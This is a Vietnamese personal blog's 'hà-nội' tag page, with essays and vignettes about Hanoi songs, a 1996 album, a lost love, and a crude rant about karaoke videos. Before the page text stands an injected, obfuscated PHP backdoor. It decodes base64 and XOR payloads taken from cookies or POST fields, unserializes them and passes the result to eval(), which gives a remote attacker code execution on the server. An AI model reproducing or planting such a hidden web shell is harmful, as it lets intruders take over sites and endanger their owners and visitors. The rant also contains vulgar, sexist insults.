$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> hà-nội – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Tag: hà-nội

Hà Nội, mùa vắng những cơn mưa – 1996

Hà Nội – cái tên chỉ cần vang lên thôi đã vương mùi xúc cảm, chỉ đọc thơ thôi đã thấy nao lòng, huống hồ lại là Hà Nội dịu dàng và e ấp vang lên trong từng nốt nhạc. Từ hàng chục năm nay, không biết đã có bao nhiêu bài hát, bao nhiêu album được viết về, được thực hiện về Hà Nội. Khó có thể để ai đó trả lời câu hỏi: album nào về Hà Nội là hay nhất? Nhưng nếu bảo album nào được nhiều người yêu thích nhất, chắc không album nào qua được “Hà Nội, mùa vắng những cơn mưa”, album được phát hành vào năm 1996 – nghĩa là gần 20 năm về trước.

Album này ngày đó gây tiếng vang trên cả nước, cả khắp 3 miền, các định dạng như Cát-xét, VHS, hay đĩa CD đều bán sạch. Album này là một trong số những album Việt Nam đầu tiên được làm ở Mỹ, sau được tái bản vô số lần ở Việt Nam, và sau gần 2 thập kỷ vẫn hot đến mức gần đây người ta quyết định tung ra bản vinyl đĩa than của album này (cộng thêm vài bài mới).

Ở đây, chỉ xin nói về album năm 1996 – album về Hà Nội mà tôi đã yêu thích từ rất lâu, kể từ lúc tôi biết phải lòng cô gái Hà Nội đầu tiên…

Đầu tiên, phải nói về thời điểm ra mắt của album này. Đầu thập kỷ 1990, làng nhạc Việt Nam rất ảm đạm với sự xuất ngoại lẫn im hơi lặng tiếng của hàng loạt ca sĩ nổi tiếng, như Thanh Lan ở trong Nam, hay Lệ Quyên (nữ hoàng nhạc nhẹ thập niên 80) cùng Ái Vân ở ngoài Bắc. Phải đến tầm vài năm sau đó, khi phong trào nhạc nhẹ lên mạnh với sự xuất hiện của các tên tuổi ca sĩ đầy tiềm năng: band Phương Đông với trụ cột là cặp Quốc Trung, Thanh Lam; band Hoa Sữa với tài năng trẻ mới tỏa sáng Mỹ Linh; band Trắng Đen với cặp song ca Phương Thảo – Ngọc Lễ… thì từ đó làng nhạc Việt Nam mới dần khởi sắc và phát triển mạnh.

Lại lướt qua những năm kế tiếp, những năm rất rực rỡ trong làng nhạc nhẹ Việt Nam, để nhảy thẳng tới năm 1996, năm phát hành album tôi đang nói ở đây.

Năm 1996 là một trong những năm hoàng kim trong làng âm nhạc Việt Nam, khi “Trung tâm băng nhạc Trẻ” – vốn đang nổi như cồn với seri “Mưa bụi” – mà những ai mê nhạc vàng trong Nam ngày đó ắt hẳn biết, quyết định mời hầu như toàn bộ những ca sĩ nổi tiếng nhất thời bấy giờ để thực hiện album. Và những gì sau đó đã thành lịch sử. “Hà Nội mùa vắng những cơn mưa” trở thành album đạt kỷ lục về lượng đĩa tiêu thụ.

Album nổi tiếng đến mức có nhiều bài trong đó gắn với tên tuổi ca sĩ thể hiện bài đấy luôn, sau này khó kiếm được ai trình bày qua được. Có thể nhắc đến sau đây…

Mỹ Linh với “Hà Nội đêm trở gió” và “Chị tôi” – 2 ca khúc đều là nhạc trong phim và trong kịch. Mỹ Linh hát “Chị tôi” hay đến mức sau này cứ nhắc đến câu “Thế là chị ơi, rụng bông hoa gạo…” là người ta nghĩ đến giọng hát Mỹ Linh.

“Hà Nội, mùa vắng những cơn mưa” trước đã được ca sĩ Thanh Tâm thể hiện, nhưng chỉ gây được tiếng vang và bùng nổ qua giọng hát của Cẩm Vân.

Hay bài “Chiều phủ Tây Hồ” với giọng hát NSND Lê Dung. Bài này vẫn không ai thể hiện được đến mức như thế (dù sau này giọng đầy nội lực của Ngọc Anh, hay giọng rất phiêu và dị của Tùng Dương). Nghe mới thấy cái giọng tự sự, buồn man mác của Lê Dung hợp với cái không khí Hà Nội cũ trong thơ ca thế nào.

Những bài khác trong album, từ “Hoa sữa” gắn với tên tuổi Thanh Lam, “Hà Nội và tôi” do NSND Trung Đức thể hiện, hay “Lãng đãng chiều đông Hà Nội” với giọng ca của Thu Hà (Thu Hà nổi tiếng hát nhạc Văn Cao, Đoàn Chuẩn… chứ không phải Trần Thu Hà)… đều trên cả tuyệt vời.

Hà Nội ngày xưa sao thì tôi không biết, có thể thay đổi nhiều, có thể vẫn nằm đó, chỉ biết rằng mỗi lần nghe lại album này, tôi lại thấy trong tôi hiện lên cái cảm giác bỡ ngỡ của một thằng con trai miền Nam khi lần đầu tới thăm Hà Nội: hay và đẹp đến ngỡ ngàng.

Nhanh thật, mới đó mà…

những bài nhạc tôi yêu về Hà Nội [p1]

riêng tặng Hiệp của anh

Người ta có nhiều lí do để yêu một thành phố nào đó. Như tôi, tôi yêu Hà Nội chỉ vì những câu thơ, những bài nhạc – hay nói đúng hơn là một Hà Nội trong trí tưởng, một Hà Nội của thời xa xôi lắm. Thật ra, không phải cứ là người sinh ra và lớn lên ở Hà Nội, mới có quyền yêu Hà Nội. Có nhiều nhạc sĩ, thi sĩ chưa một lần đặt chân ra thủ đô, nhưng đã có những sáng tác tuyệt vời về vùng đất này. Tôi cho rằng, họ mang tâm hồn và tính cách Hà Nội còn hơn cả nhiều người xưng mình là Hanoian thật sự.

Dĩ nhiên, trong bài viết để tặng riêng em, tôi không muốn gây nhiều tranh cãi, nên tạm ngừng cái quan điểm cá nhân ở đây. Bài viết ngắn này tặng em, không phải vì em yêu Hà Nội hay tôi yêu Hà Nội, mà là vì tôi yêu tất cả những gì liên quan đến em, đơn giản như là vùng đất em đang sống, cái bầu không khí mà em đang thở vậy.

Những ca khúc viết về Hà Nội cũng nhiều, bài này của tôi không nhằm mục đích tổng hợp lại tất cả, mà chỉ là những bài – mà theo ý kiến riêng của tôi, tôi cho là – hay nhất.

(tất cả các link download đều nằm ở phần comment cuối bài)

Hà nội 49 – Trần Văn Nhơn 1949

Hà Nội 49 luôn được xem là một trong những ca khúc hay nhất viết về Hà Nội. Trần Văn Nhơn là một trong những nhạc sĩ ở thời buổi đầu nền tân nhạc Việt Nam. Ông là một trong những nhạc sĩ hiếm hoi thời bấy giờ biết hòa âm, phối khí và chỉ huy dàn nhạc.

Khắp chốn nay điêu tàn
Nhà xiêu đổ một cảnh nát tan

Cũng cần lưu ý là Trần Văn Nhơn sinh ra và lớn lên ở miền Nam. Sau này không rõ vì lí do ông lưu lạc ra Hà Nội và trở thành nhạc trưởng ban Việt Nhạc đài phát thanh Hà Nội. Hà Nội 49 được viết khi Hà Nội đang nằm trong tay người Pháp. Thời điểm này Việt Minh từ chiến khu hay tổ chức những trận đánh úp vào Hà Nội rồi rút rất nhanh, bỏ lại một Hà Nội điêu tàn, đổ nát.

Hà Nội 49 xưa có Duy Trác và Khánh Ly hát. Sau này ca sĩ Mai Hoa cũng hát lại trong album Hà Nội 49 gồm các ca khúc của thời kì đầu tân nhạc Việt Nam. Về cảm nhận cá nhân, thì tôi thích Hà Nội 49 do Duy Trác hát nhất.

Hướng về Hà Nội – Hoàng Dương 1954

Đây là ca khúc mà tôi thích nhất về Hà Nội, và cũng được đa phần mọi người đánh giá là hay nhất.

Về ca khúc này có nhiều giai thoại, nhiều câu chuyện bên lề. Như theo lời Hoàng Dương kể lại, thì thời điểm đó Hoàng Dương đang ở Nam Định. Khi đó ông mới tầm hơn 20 tuổi, đang yêu một cô gái Hà Thành. Vào một đêm khuya, khi nghe tiếng pháo dội trong thành phố, ông bồi hồi nhớ đến cô, và thắp đèn thâu đêm để viết nên ca khúc này.

Người ta còn kể rằng nhà thơ Quang Dũng khi nghe tài tử Ngọc Bảo hát bài này, sau gặp Hoàng Dương đã ôm lấy ông và bảo: “Cảm ơn Dương, mặc dù mới được gặp cậu lần đầu nhưng tâm hồn của chúng ta đã rất giống nhau. Tớ cảm nhận được rất nhiều sự đồng điệu trong đó”.

Tôi nghe Hướng về Hà Nội của Hoàng Dương, ngay từ đầu đã chết mê mệt những câu đầy ý thơ, đầy ngọt ngào và hoài niệm. Ngay từ câu đầu

Hà Nội ơi, hướng về thành phố xa xôi…

hay những câu

Hà Nội ơi, dáng huyền tha thướt đê mê…

và đặc biệt là thời điểm này, mỗi khi chạy xe, nhìn ra ngoài cửa kính mưa đang đọng lại thành từng vệt, từng vệt, rất buồn và đơn độc, mỗi lần nghe tới

Hà Nội ơi, mắt huyền ngây ngất đê mê,
Tóc thề thả gió lê thê, hãy tin ngày ấy anh về

tôi đều nở một nụ cười…

Hình ở trên là bìa đĩa do Tinh Hoa Miền Nam xuất bản, họa sĩ Duy Liêm trình bày. Bên trong bài hát có câu đề tựa: “Riêng tặng Hoàng Trọng, bạn thân yêu…”

Hoàng Trọng và Hoàng Dương là 2 người bạn khá thân. Chính Hoàng Trọng đã một phần gíup ca khúc Hướng về Hà Nội đến với đông đảo người yêu văn nghệ, bằng cách giới thiệu ca sĩ Kim Tước để hát bài này.

Sau, có nhiều ca sĩ khác như Thanh Thúy, Lệ Thu, Tuấn Ngọc, Hồng Nhung, và gần đây là Quang Dũng trình bày. Nhiều người hay cho rằng bản của Lệ Thu là hay nhất, vì giọng của Lệ Thu rất điêu luyện, dễ mê hoặc lòng người.

Cá nhân tôi, tôi lại thích version đầu tiên mà Kim Tước hát. Nó không hẳn là hay nhất, nhưng tôi cảm nhận cái nét buồn man mác, nét hoài niệm về một Hà Nội đẹp như thơ, qua từng nốt nhạc, từng câu chữ của tác giả.

Giấc mơ hồi hương – Vũ Thành – sau 1954

Người ta ít biết tới Vũ Thành, vì nhìn chung ông sáng tác nghệ thuật vị nghệ thuật, đòi hỏi ông đặt ra khi sáng tác rất cao. Theo nhạc sĩ Phạm Duy thì Vũ Thành là một trong hai nhạc sĩ Việt Nam trong ban nhạc hòa tấu đầu tiên ở nước ta. Vũ Thành là người đi tiên phong trong việc sử dụng những cung điệu mới so với cung Ré thứ ủ rũ, buồn đến nao lòng trong nhạc của Văn Vao, Đặng Thế Phong trước đây.

Ngoài lề xíu, Phạm Duy từng gọi Vũ Thành là nhạc sĩ đẹp trai nhất nước. Khâm phục ông ghê, tài sắc vẹn toàn.

Quay lại, Giấc mơ hồi hương sau năm 1954 được những người miền Bắc di cư vào Nam xem như kinh nhật tụng, ngày ngày hát lên và nhớ về một Hà Nội thân thương, một Hà Nội mà có lẽ cả đời cũng không bao giờ thấy được. Ngay như bản thân tác giả, cũng đã qua đời trước khi có dịp biến Giấc mơ hồi hương thành sự thật.

Từng từ, từng câu trong Giấc mơ hồi hương đều rất đẹp, rất gợi cảm xúc

Rồi đây dù lạc ngàn nơi
Ta hướng về chốn xa vời
Tìm mộng xưa lãng quên tháng ngày tàn phai
Nghẹn ngào thương nhớ “em”… Hà Nội ơi

Hà Nội hiện ra như hình ảnh một cô gái

Ta nhớ thấy em một chiều chớm thu
Dáng yêu kiều của ngày đã qua

Giấc mơ hồi hương là một trong những ca khúc rất khó hát, đòi hỏi giọng người hát phải thật khỏe. Vì thế trong giới ca sĩ, không mấy người đủ khả năng để hát nhạc của ông. Có phải vì vậy mà ca khúc này ít được phổ biến rộng rãi?

Về các version của ca khúc này, tôi đã nghe những giọng nữ như Khánh Hà, Lệ Thu, Thái Thanh… giọng nam như Sỹ Phú, Anh Ngọc hát, gần đây thì có Ngọc Hạ cũng hát lại. Không đủ trình độ để đánh giá chất giọng nào hay nhất, nhưng, một lần nữa, theo cảm nhận của cá nhân, tôi thấy “Giọng hát trượng phu” Anh Ngọc là hợp nhất, dù version tôi có chất lượng bản thu âm rất tệ. Nhưng biết làm sao hơn?

Nghẹn ngào thương nhớ “em”… Hà Nội ơi

Người Hà Nội – Nguyễn Đình Thi – 1947

Người Hà Nội được Nguyễn Đình Thi sáng tác vào năm 1947, theo như lời tác giả thì bài hát được ra đời trong một chuyến công tác tại một ngôi làng nhỏ bên bờ sông Nhuệ.

Đôi khi tôi không hiểu lắm về việc mình thích bài này, vì vốn dĩ tôi chỉ thích một Hà Nội đẹp và yên bình. Nhưng quả thật bài Người Hà Nội của Nguyễn Đình Thi, tuy nội dung chủ yếu là những câu thấm đậm tinh thần quật cường, đấu tranh như

Mỗi tấc đất Hà Nội đượm thắm máu hồng tươi…

Hay tuyên truyền như

Bùng cháy khắp phố ta ơi! Vùng lên, chiến sĩ ta ơi! Trời Hà Nội đỏ máu.

nhưng đôi chỗ vẫn có những câu rất đời thường, rất bình dị

Hà Nội vui sao, những cửa đầu ô.
Tíu tít gánh gồng đây Ô Chợ Dừa, kìa Ô Cầu Rền, làn áo xanh nâu, Hà Nội tươi thắm.
Sống vui phố hè. Bồi hồi chàng trai, những đôi mắt nào. Quanh co, chen quanh rộn ràng Ðồng Xuân, xanh tươi bát ngát Tây Hồ, hàng
Ðào ríu rít Hàng Ðường, Hàng Bạc, Hàng Gai.
Ôi tha thiết lòng ta biết bao nhiêu

Ngoài lề một chút, theo tôi thì chỉ bằng đoạn này thôi, cũng đã đánh bại được cái gì mà báo chí khen ngợi quá lời về những sinh hoạt bình dị của người dân Hà Nội được khắc họa rõ nét trong bài Hà Nội Boogie, và còn một vài độc giả đề nghị nên trình diễn ở dịp đại lễ.

Nếu có bài nào được trình diễn, thì đó nên là bài Người Hà Nội của Nguyễn Đình Thi, đầy hào hùng, đầy quật cường nhưng đôi đó vẫn ẩn hiện một Hà Nội rất thơ, rất đẹp.

À, trước đây tôi hay nghe bài này do Lê Dung hát, gần đây nghe Lan Anh (Lan Anh là một giọng ca hiếm có, tuy ở nhiều chỗ còn kém Lê Dung, nhưng cũng có thể coi là độc đáo vô cùng ở Việt Nam thời điểm này) hát cùng dàn hợp xướng. Nếu xét về giọng hát, thì tôi vẫn thích Lê Dung hơn, nhưng version này hát với dàn hợp xướng thì hay hơn, đủ chất hào hùng cần có của một bài nhạc như thế này.

Vì vậy, tôi thích bài này do Lan Anh và dàn hợp xướng hát nhất (không biết Lê Dung có version nào như thế không, hay tôi chưa tìm ra nhỉ?)

Tiến về Hà Nội – Văn Cao – 1949

Văn Cao là nhạc sĩ mà tôi hâm mộ nhất trong tất cả các nhạc sĩ Việt Nam từ xưa tới nay, cả về nhạc, thơ, lẫn tính cách của ông. Nói về những giai thoại về Văn Cao thì cả ngày cũng không hết. Riêng bài Tiến về Hà Nội này cũng có nhiều điểm đáng lưu ý.

Bài Tiến về Hà Nội được viết trước ngày Giải phóng Thủ Đô những 5 năm, nhưng từng lời ca của bài hát vẫn mô tả được chính xác cái không khí tưng bừng, trùng trùng quân đi như sóng sau đó.

Theo lời Văn Cao, thì ông sáng tác bài này

“Tôi sáng tác Tiến về Hà Nội trong một đêm thu, bầu trời trong vắt, đầy sao, không gian tràn ngập ánh trăng và thơm ngát mùi lúa ngậm đòng” (Trích trong “Văn Cao – đời và người”).

Thực ra bài này tôi không nghe thường xuyên lắm, nên không biết được bài này ca sĩ nào hát hay nhất. Gần đây tìm được version do dàn hợp xướng trình bày, thấy nghe cũng hay. Nên gởi lên đây vậy.

Thật, chỉ cần nghe câu đầu Trùng trùng quân đi như sóng, lớp lớp đoàn quân tiến về thôi là đã thấy hào khí nổi lên rồi…

[còn tiếp].

Sài Gòn của em

Em gọi tôi là Sài Gòn của em, nhưng tôi chưa hề gọi em lại là Hà Nội của anh. Việt Nam chỉ có một thủ đô Hà Nội, không có nghĩa là tôi chỉ có quyền gọi duy nhất một-cô-bé-nào-đó là Hà Nội của anh. Không, không ai cản được tôi nếu tôi muốn. Tôi không gọi, chỉ vì tôi thành thật.

***

Em buzz YM đúng lúc tôi đang loay hoay quét nhà. Khi tôi ngó vào màn hình máy tính thì em đã out, chỉ còn vài dòng chữ để lại:

Sài Gòn của em!
Em không chờ anh, em sắp lấy chồng…

Tôi nhắn vội em câu thơ của Đồng Đức Bốn: em có bỏ chồng về ở với tôi không? từ đó đến giờ, và chưa thấy em trả lời. Có thể em quá bận bịu với việc chuẩn bị tổ chức đám cưới. Hoặc giả chồng em – một con quái vật hung tợn, cấm không cho em vào YM để chat với tôi. (À, tôi không biết mặt chồng sắp cưới của em, nhưng tôi mặc định tất cả người yêu hiện tại của người yêu cũ của tôi ngày xưa đều là quái vật hung tợn. Và tôi, đau đớn thay, đã thua trong công cuộc đi hái nấm để giải cứu công chúa – là em, dù không phải em nào tôi quen cũng xinh như công chúa).

***

Cô bé Hà Nội kia, tôi chắc là chỉ tầm vài tháng sau là cô đã quên ngay việc cô từng gọi một thằng con trai xa lạ nào đó là “Sài Gòn của em”.

Còn tôi, tôi là người thành thật. Người thành thật có thể tán hơn một cô gái tại một thời điểm. Nhưng người thành thật thì không thể gọi hơn một cô là Hà Nội của anh. Chính ra là phải dùng từ “nào khác”. Mà thôi, đằng nào cũng quan trọng quái gì đâu.

B.l.u.e.

Hà Nội

Hà Nội – Cựu mộng như yên…

Không chỉ là mơ, mà còn là một giấc mơ tưởng chừng không có thật.

Hà Nội, bản thân nó trong anh là mờ ảo. Chỉ là cái cảm giác rùng mình khi đọc

Hàng liễu lơ thơ đứng chịu tang

của Xuân Diệu, hay chặc lưỡi tấm tắc

Sáng chớm lạnh trong lòng Hà Nội
Những phố dài xao xác heo may

dưới ngòi bút của Nguyễn Đình Thi vào những năm ngồi dưới mái trường phổ thông trung học. Hoặc giả, đấy là cảm giác thanh tao, nhẹ nhàng khi ngồi bên li cafe đậm đặc mà thả hồn vào từng nốt nhạc của Em ơi Hà Nội phố. Đấy, hầu hết, chỉ là chút gì đó ngưỡng vọng, xen lẫn ghen tị. Chỉ thế, không hơn, như hai kẻ xa lạ đi lướt qua nhau, những gì đọng lại chỉ là chút hương thầm bay trong làn gió.

Hà Nội, cùng mối liên hệ mật thiết giữa nó và nàng, trái lại, đã và đang in hằn những vết rất sâu lên lớp vỏ não của anh.

Đã hơn một năm trôi qua, nhưng anh vẫn nhớ, nhớ tới điên cuồng – ừ, tại Merry và Vodka làm anh thế – quãng thời gian anh tận tay chạm được vào nó.

Đôi lúc, như những lúc này, anh lại ngồi và tự hỏi: phải chăng những cảm giác ấy chỉ là cơn mơ hay đấy là sự thật, mà nay đã được nhuộm một màu khói hư ảo?

Anh nhớ Hà Nội
…không còn vì những vần thơ
…chẳng bởi những câu ca
…không vì mùa thu lá bay xào xạc
…hay mùa đông cùng hình ảnh thiếu nữ run run

Anh nhớ Hà Nội
…vì nó là niềm vui, là kí ức, nhưng cũng là những ngày buồn đong đầy

Hà Nội, trong anh, là Hà Nội của nàng – không – còn – là – của – anh

B.l.u.e.

Sự vô trách nhiệm của những người làm KOK

Nói chung phát minh ra KOK đã là sai rồi.
Và cái kiểu làm KOK vô trách nhiệm như ở Việt Nam thì càng sai gấp vạn.

Anh biết anh nói hai câu trên, bọn đầu óc vốn bã đậu nhưng ham phùng mỏ lên cãi lại như loài gái, sẽ bâu vào đây mà xỉa xói anh. Anh biết, với vốn ngôn từ chợ búa và điêu ngoa của mình, các gái sẽ nghĩ ra vô vàn lí do để biện hộ cho những thứ tốt đẹp của KOK.

Dĩ nhiên, theo lời anh gợi ý, các bạn anh vào năm 1776 đã từng viết: We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness. ((United States Declaration of Independence – http://en.wikipedia.org/wiki/United_States_Declaration_of_Independence)) nói nôm na là đã lỡ sinh ra trên đời, thì thằng đe’o nào cũng có quyền mưu cầu hạnh phúc, ở trường hợp này thì dịch ra là thằng nào cũng có thể hát KOK nếu nó thích.

Đm, anh đe’o có cấm KOK nhé, anh cũng không nói KOK là xấu nhé, chỉ nói bọn làm KOK ở Việt Nam là vô trách nhiệm, là sai gấp vạn lần, phỏng ạ!

Hát KOK thì nhìn chữ là được rồi, cần nhìn hình làm mẹ gì? Vì vậy bọn con giời ấy lồng hình vào là sai rồi, anh thấy cho kụ nó một cái phông nền màu đen, chữ trắng xanh đỏ tím vàng là ổn. Bọn nó lồng hình không đúng chủ đề thì càng sai gấp bạo.

Chẳng thơm cũng thể hoa nhài
Dẫu không thanh lịch cũng người Tràng An

Bạn anh ngày xưa (anh đe’o nhớ tên) đã từng phát biểu thế. Hà Nội thanh lịch thế, mà bọn nó lấy hình lồng vào KOK, thành ra đm có những bài hát cực kì 4` phạch, viết về thằng chã nào thất tình lồng lộn lên như lợn bị chọc tiết, bọn nó cũng tương vào hình về Hà Nội. Đm chúng nó đe’o biết thế nào gọi là giữ gìn vẻ đẹp ngàn năm văn hiến cho thủ đô à?

Loạn, loạn hết. Anh các gái ngày đấy học lớp 1 trường làng thì cô giáo bỏ đi lấy chồng, chứ không giờ cũng gắng lấy giấy viết nặn ra vài chữ mà gởi lên Sở Văn Hoá Thông Tin cho nó cấm mẹ nó cái thể loại làm KOK vô trách nhiệm ấy đi.

Đm, thật ra là đang thất tình, uống beer, hát KOK mà tình cờ thấy hình Hà Nội, anh nhớ và nhói tim đến mức chỉ muốn quỵ ngã. Dạo này càng già, càng yếu đuối không tả được. Cái đe’o gì gọi là quên được chứ, đm chỉ cần vài câu hát, vài tấm hình về Hà Nội là đủ vật vã thế này rồi. Nhục và hèn đe’o tả được.

Ngày 02/05/2009
B.l.u.e.

Em còn nhớ hay em đã quên?

Em còn nhớ hay em đã quên?

Ở Việt Nam này, có bốn thành phố để lại trong anh những cung bậc cảm xúc khác nhau.

Đó là Vũng Tàu – nơi anh sinh ra và lớn lên, những kí ức của một thời niên thiếu đầy hiếu động nhưng cũng thật đẹp, thật an bình của anh nằm ở đó. Những gì cốt lõi tạo nên một anh – như – bây – giờ cũng nằm nơi đó…
Đó là Sài Gòn – nơi hiện tại anh đang sống. Nó đi cùng cái tuổi trưởng thành của anh. Anh không diễn tả được cảm xúc của anh với nó, chỉ biết rằng nó thân quen như chính một phần máu thịt của anh…
Đó là Hà Nội – một người tình trong mộng ảo của anh. Hà Nội anh yêu là một Hà Thành với những nét đẹp như trong tranh vẽ, là một Hà Thành với vẻ run rẩy của hàng dương liễu mọc quanh hồ Trúc Bạch, một Hà – Nội – dáng – kiều – thơm ((Tây Tiến – Quang Dũng)), một Hà Nội – hàng phố cũ rêu phong, từng mái ngói xô nghiêng, nao nao kỷ niệm ((Em ơi Hà Nội phố – Phan Vũ)). Và giờ đây, quan trọng hơn hết, một Hà Nội – em…
Đó là Đà Lạt – nơi anh chỉ mới đặt chân đến hai lần. Mỗi lần chỉ ở lại tầm ba ngày. Lần đầu không ấn tượng bao nhiêu thì lần sau lại sâu đậm bấy nhiêu. Nó là chút gì còn ít ỏi mà anh bám víu lại, để nhớ về một thời hạnh phúc, thật sự rất hạnh phúc của anh. Đà Lạt, cùng những kỉ niệm về nó, tựa như một thứ ma tuý đầy quyến rũ, mộng ảo, khiến anh không thể nào dứt ra được. Nó quện cứng vào tâm trí anh, nó làm trí óc anh vui, nhưng lại khiến con tim anh đau…

Anh sẽ viết lần lượt về bốn thành phố này…
.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.